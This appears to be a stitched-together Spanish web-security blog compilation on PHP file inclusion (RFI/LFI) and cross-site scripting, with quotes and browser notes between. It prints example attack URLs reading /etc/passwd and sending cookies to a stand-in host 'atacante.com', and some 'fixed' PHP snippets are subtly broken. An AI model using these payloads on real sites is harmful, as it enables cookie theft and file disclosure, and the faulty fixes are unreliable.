Como veis, siempre según Microsoft, Internet Explorer 9 es el navegador más seguro del mercado, y Firefox 7 y Chrome 14 sólo consiguen superar a IE 7, lanzado en Octubre de 2006. Safari y Opera no parecen ser lo bastante importantes para ser tenidos en cuenta.

Si los argumentos de Randall te convencieron, aquí tienes un muy pequeño y muy tonto script que genera una frase de paso seleccionando aleatoriamente 4 de las 1.000 palabras más utilizadas del castellano. Puedes comprobar la fortaleza de la contraseña utilizando, por ejemplo, la herramienta online de Rumkin.com.

El único sistema verdaderamente seguro es aquél que está apagado, encerrado en un bloque de hormigón, y sellado en una habitación con guardias armados. E incluso así, tengo mis dudas.

~ Gene Spafford

A menudo me preguntan qué puede hacer el usuario medio de Internet para garantizar su seguridad. Mi primera respuesta suele ser: ‘Nada; estás jodido’

– Bruce Schneier

Si no le ves la gracia a ser una posible víctima de este tipo de ataques, puedes empezar por leer nuestro artículo Asegurar una red WiFi.

El Remote File Inclusion, RFI, o inclusión remota de archivos, es un tipo de vulnerabilidad que podemos encontrar en páginas web que no filtran correctamente la información proveniente del usuario. En PHP se puede dar al hacer uso de las construcciones include, include_once, require y require_once, o la función fopen, entre otros, con parámetros procedentes del usuario.

El siguiente código, por ejemplo, por sencillo e inocente que sea, sería altamente vulnerable:

<?php
if(isset($_GET['pagina'])) {
  require $_GET['pagina'];
} else
  die('No se ha especificado la página a mostrar');

¿Por qué es tan peligroso este código? Consideremos que nada le impediría a un supuesto atacante pasar como valor del parámetro pagina la ruta de un script PHP situado en su servidor, haciendo que nuestro servidor ejecutara cualquier código que dicho archivo contuviera.

http://mipaginaweb.com/index.php?pagina=http://haxor.com/script

Para evitar este problema desde PHP 5.2.0 php.ini tiene una opción allow_url_include que controla si se permiten incluir scripts utilizando URLs, opción con valor false por defecto. También existe una opción que controla si se pueden pasar URLs a fopen, allow_url_fopen, que data de PHP 4.0.4 y que, en esta ocasión, sí está activada por defecto (anteriormente esta última opción era la encargada de controlar ambas cosas, por lo que no se podía evitar la inclusión de archivos remotos y a la vez hacer uso de fopen con archivos remotos).

Gracias a esta configuración las vulnerabilidades de inclusión remota de archivos son cada vez menos comunes, aunque todavía tendremos que lidiar con otros ataques menos obvios como el uso de los protocolos data:// y php://, que no se desactivan con allow_url_include, o las vulnerabilidades LFI.

LFI, Local File Inclusion o inclusión local de archivos, es un tipo de vulnerabilidad que un atacante puede aprovechar para tener acceso a archivos locales de nuestro servidor, como el archivo de configuración de nuestra aplicación:

http://mipaginaweb.com/index.php?pagina=conf/configuracion.php

un archivo previamente subido por el atacante, haciendo uso de cualquier formulario de subida de archivos que podamos tener:

http://mipaginaweb.com/index.php?pagina=avatares/script

código insertado en algún log de Apache:

http://mipaginaweb.com/index.php?pagina=../../../var/log/apache/error.log

o incluso el contenido del fichero passwd de un sistema UNIX, si este está mal configurado:

http://mipaginaweb.com/index.php?pagina=../../../etc/passwd

Una posible solución sería añadir una extensión al archivo a incluir, por ejemplo:

<?php require $_GET['pagina'] . '.inc.php'); ?>

En teoría, esto debería impedir incluir cualquier archivo que no terminara en .inc.php, pero, lamentablemente, no es tan sencillo. El atacante podría saltarse nuestro nuevo intento de protección añadiendo el carácter nulo (0×00), que permite terminar las cadenas, al final del valor pasado como parámetro (si magic_quotes_gpc está desactivado, de otra forma el problema se solucionaría al aplicar la función addslashes automáticamente):

http://mipaginaweb.com/index.php?pagina=../../../etc/passwd%00

o se podrían aprovechar los intentos de PHP de normalizar las rutas y el hecho de que las rutas se truncan a partir de cierto tamaño (este problema está corregido en las últimas versiones de PHP, para nuestra tranquilidad):

http://mipaginaweb.com/index.php?pagina=../../../etc/passwd.\.\.\.\ …

Como nunca podremos ir un paso por delante de los hackers, una buena solución, aunque a algunos les podría parecer exagerada, es aceptar sólo los caracteres necesarios en el parámetro pasado como argumento:

<?php
if(isset($_GET['pagina'])) {
	$pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);
  require $_GET['pagina'] '.inc.php';
} else
  die('No se ha especificado la página a mostrar');

o bien, aunque es poco flexible, almacenar las distintas opciones válidas en un array y comprobar si el valor indicado se encuentra en dicho array:

<?php
$paginas = array('principal', 'sobre-mi', 'contacto');
if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas)) {
  require $paginas[array_search($_GET['page'], $paginas)] . '.inc.php';
} else
  die('No se ha especificado la página a mostrar o no existe en el servidor');

Aunque, por supuesto, la mejor solución siempre será, simplemente, no confiar nunca en los usuarios, y, por lo tanto, no incluir nada que un usuario pueda modificar.

Actúa con tus contraseñas como con tu cepillo de dientes. Nunca debes compartirlo, y tienes que sustituirlo cada seis meses.

– Clifford Stoll

Muchas de estas vulnerabilidades se aprovechan de la capacidad de Adobe Reader de ejecutar código JavaScript, por lo os recomendaría desactivarlo inmediatamente desmarcando la casilla “Activar JavaScript para Acrobat” en Edición -> Preferencias -> JavaScript. Igualmente, sería recomendable desactivar la visión de PDF desde el navegador.

También podéis probar un lector de PDF alternativo, como Sumatra PDF. U otro sistema operativo.

Cross-Site Scripting, el problema

Veamos un pequeño ejemplo. Supongamos que escribimos un sencillo script en PHP que no hace más que mostrar el valor de una variable mensaje pasada por GET. Algo tan sencillo como esto:

<?php
  echo $_GET['mensaje'];
?>

Como no tratamos la entrada del usuario de ninguna forma, dejamos la puerta abierta a que se muestre cualquier tipo de código HTML en nuestra página, incluido, por ejemplo, un formulario de login falso, o un iframe con un formulario falso:

http://localhost/index.php?mensaje=<form action="http://atacante.com/captura.php">Usuario: <input type="text" name="usuario"/><br/>Contraseña: <input type="text" name="pass"/></form>

un script que use document.location para hacer que el usuario ejecute un archivo PHP de la web del atacante, pasándole las cookies:

http://localhost/index.php?mensaje=<script>document.location='http://atacante.com/captura.php?cookies='+document.cookie</script>

o una imagen transparente de 1×1 del servidor del atacante, pasándole a la URL el valor de las cookies, lo cuál sería bastante difícil de detectar, a menos que el usuario se fijara en el código:

http://localhost/mensajes.php?mensaje=<script>document.write("<img widht='0' height='0' src='http://atacante.com/img.png?valores="+document.cookie'>")</script>

El tipo de vulnerabilidad XSS que sufre nuestra pequeña página de ejemplo se conoce como “XSS no persistente”, porque no se modifica la web original. El atacante debe conseguir que un usuario de la web haga clic sobre uno de sus enlaces especialmente formados, por ejemplo, ocultándolo con un acortador de URLs.

Las vulnerabilidades de XSS persistente son mucho más peligrosas. Esta se da cuando se almacenan los datos introducidos por los usuarios, en una base de datos, por ejemplo, y estos, a su vez, se muestran a otros usuarios. Esto sucede, por ejemplo, en blogs y foros con los comentarios y las respuestas de los hilos. En estos casos bastaría con que el usuario visitara la página vulnerable para que se ejecutara el código del atacante.

Cross-Site Scripting, la solución

La solución pasa por filtrar todos los datos que mostremos en la aplicación y que procedan del usuario, no sólo datos introducidos en un formulario o parámetros en la URL, sino también cosas como cabeceras HTTP o cookies. En PHP podemos utilizar para esto la función htmlspecialchars, que convierte los caracteres ", <, > y & a las entidades HTML correspondientes.

En contadas ocasiones también puede interesarnos pasar como segundo parámetro a la función la constante ENT_QUOTES, para sustituir las comillas simples (') además de los caracteres anteriores. En el siguiente código, por ejemplo, al haber utilizado comillas simples para encerrar el valor del atributo, tendríamos que convertir estos caracteres para que el usuario no pudiera salir de este contexto:

<?php
  $aspecto = $_GET['aspecto'];
  echo "<div class='{$aspecto}'>...</div>";
?>

También es importante especificar el juego de caracteres del documento, bien a través de la etiqueta meta, o bien usando la cabecera HTTP correspondiente. De otra forma el atacante podría utilizar texto en UTF-7, que codifica los símbolos < y >, entre otros, con lo que htmlspecialchars no los reemplazaría. Bastaría entonces engañar al navegador para hacerle pensar que UTF-7 es la verdadera codificación del archivo, por ejemplo con un iframe con texto UTF-7, para que se lanzara el ataque.

Por último hay muchos casos en los que htmlspecialchars no nos será de ninguna utilidad, y donde será necesario estar muy atentos y aplicar el sentido común. Un ejemplo son los atributos donde se puede utilizar la directiva javascript:

<?php
  $enlace = $_GET['enlace'];
  // Peligro: index.php?enlace=javascript:alert(document.cookie)
  echo "<a href='{$enlace}'>Enlace</a>";
?>

En estas situaciones tampoco bastaría con filtrar el texto “javascript:” ya que la cadena se puede manipular de distintas formas para burlar el filtrado. Se podría utilizar, por ejemplo, los caracteres de la codificación de URLs, sustituyendo la j por %6A:

http://localhost/pagina.php?enlace=%6Aavascript:alert(document.cookie)

También existen técnicas mucho menos conocidas, como el uso de la etiqueta y el atributo style mediante la propiedad expression de IE, o la palabra reservada url.

Para todos estos casos menos comunes lo mejor es no intentar reinventar la rueda y utilizar una librería especialmente pensada para lidiar con vulnerabilidades de XSS, como HTML Purifier.

Por último, una forma de mitigar hasta cierto punto las posibles vulnerabilidades XSS que podamos haber pasado por alto sería poner la opción session.cookie_httponly a true en php.ini, de forma que al crear las cookies se añada por defecto este flag, que indica a los navegadores que lo soportan que no se debe permitir el acceso a las cookies a través de scripting.